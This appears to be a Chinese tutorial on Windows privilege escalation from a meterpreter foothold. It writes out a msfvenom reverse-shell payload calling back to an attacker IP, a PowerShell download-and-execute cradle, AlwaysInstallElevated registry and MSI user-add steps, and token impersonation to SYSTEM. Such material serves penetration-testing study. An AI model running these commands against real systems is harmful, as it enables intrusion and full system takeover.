|
1、基础:user、administrator、System
2、提权方式:横向提权和纵向提权
3、提权方法:内核溢出漏洞提权、错误的系统配置提权、滥用高权限令牌提权、组策略首选提权、数据库提权、web中间件漏洞提权、DLL劫持提权、第三方软件/服务提权等
前提:
此时假设我们通过一系列前期渗透,已经成功获得了目标机的meterpreter shell,当前权限为user,我们想获取系统的system权限
1、生成msf木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.253.129 lport=4444 -f exe -o test.exe
2、一键监听命令(监听的ip和端口根据实际情况自行更换)
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.253.129; set lport 4444; run;"
一、内核溢出漏洞提权
内核溢出漏洞原理:
溢出漏洞利用,是指在存在缓存溢出安全漏洞的计算机中,攻击者可以用超出常规长度的字符数来填满一个域,通常是内存区地址。在某些情况下,这些过量的字符能够作为“可执行”代码来运行。从而使得攻击者可以不受安全措施的约束进行攻击行为。
内核溢出漏洞提权原理:
系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制,攻击者利用该漏洞的关键是目标系统没有及时安装补丁,即使微软已经针对某个漏洞发布了补丁,但是如果系统没有立即安装补丁,就会让攻击者有机可乘,然而,这种提权方法也存在一定的局限性,如果目标系统的补丁更新工作较为迅速和完整,那么攻击者要想通过这种方法提权就必须找出目标系统中的0day漏洞。
内核溢出漏洞提权方法:
1、查看当前用户权限
Whoami/groups
2、查看系统安全补丁
systeminfo
- wmic qfe get Caption,Description,HotFixID,InstalledOn
复制代码
- <code>msf</code><code>search enum_patches</code><code>use 0</code><code>show options</code><code>set session 1</code><code>run</code>
复制代码
3、检查系统中是否存在未修复漏洞
Msf内置local_exploit_suggester 模块快速识别系统中可能利用的漏洞
- Search local_exploit_suggester
复制代码
4、与可以进行提权的内核溢出漏洞进行对比
在线:
http://bugs.hacking8.com/tiquan/
5、执行exp
二、Windows操作系统配置错误提权
1、系统服务权限配置错误
原理:
Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件,因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限就可以将该文件替换成任意可执行文件并随着系统服务的启动,获得系统权限。Windows服务是以system权限运行的因此其文件夹、文件、注册表键值都是受强访问控制机制保护的,但是在某些情况下操作系统中仍然存在一些没有得到有效保护的服务。
系统服务权限配置错误(可写目录漏洞)有如下两种可能:
服务未运行:攻击者会使用任意服务来替换原来的服务,然后重启服务。
服务正在运行且无法终止:这种情况符合绝大多数的漏洞利用场景,攻击者通过会利用dll劫持技术并尝试重启服务来提权。
搜索提权模块
- search service_permissions
复制代码
提权成功
2、注册表键AlwayslnstallElevated提权
AlwayslnstallElevated是一个组策略配置, 如果启用,那么将允许普通用户以system权限运行安装文件(msi)。
前提:AlwayslnstallElevated必须启用
1、查看
导入模块:Import-Module .\PowerUp.ps1
- powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('./PowerUp.ps1');Get-RegAlwaysInstallElevated
复制代码
2、开启
命令行开启:
- reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
复制代码
- reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
复制代码
图形化界面开启
在cmd中输入gpedit.msc打开组策略编辑器
注意:如要使其生效!需要在计算机配置和用户配置中都启用它!!
组策略--->计算机配置下--->管理模板----->windows组件------>Windows installers---->永远以高特权进行安装(win10、server2012等与win7名称不一样-->始终以提升的权限进行安装)
组策略--->用户配置--->管理模板----->windows组件------>Windows installers---->永远以高特权进行安装
3、添加
导入PowerUp.ps1模块执行命令如下,执行完成后会生成一个MSI程序
- PS C:\Users\Administrator\Desktop> Import-Module .\PowerUp.ps1
复制代码
- <code>PS C:\Users\Administrator\Desktop> Write-UserAddMSI</code><code>msiexec /q /i UserAdd.msi</code>
复制代码
三、滥用高权限令牌提权
令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。这些令牌将持续存在于系统中(除非系统重新启动)。令牌的最大特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌(Access Token )代表访问控制操作主休的系统对象。密保令牌(Security Token )也叫作认证令牌或者硬件令牌,是一种用于实现计管机身份校验的物理设备,例如U盾。会话令牌(SessionToken)是交互会话中唯一的身份标识符。伪造令牌攻击的核心是Kerberos协议, Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos协议的工作机制如下图所示
客户端请求证书的过程如下
1、客户端向认证服务器发送请求,要求得到证书。
2、认证服务器收到请求后,将包含客户端密钥的加密证书发送给客户端。该证书包含服务器Ticket(包含由服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥,Session Key)。当然,认证服务器也会向服务器发送一份该证书,使服务器能够验证登录的客户端的身份。
3、客户端将Ticket传送给服务器。如果服务器确认该客户端的身份,就允许它登录服务器。
客户端登录服务器后,攻击者就能通过入侵服务器来窃取客户端的令牌。
令牌窃取
假设已经获得了目标机器的 meterpreter Shell。首先输入“use incognito”命令,然后输人“list_tokens -u”命令,列出可用的令牌
这里有两种类型的令牌:一种是Delegation Tokens,也就是授权令牌,它支持交互式登录(例如,可以通过远程桌面登录及访问);另一种是Impersonation Tokens,也就是模拟令牌,它支持非交互式的会话。令牌的数量其实取决于meterprcter shell的访问级别,假设已经获得了一个系统管理员的授权令牌,如果攻击者可以伪造这个令牌,便可以拥有它的权限。
- Impersonate_token NT AUTHORITY\\SYSTEM
复制代码
在incognito中调用inpersonate_token中间需要\\隔开
|
|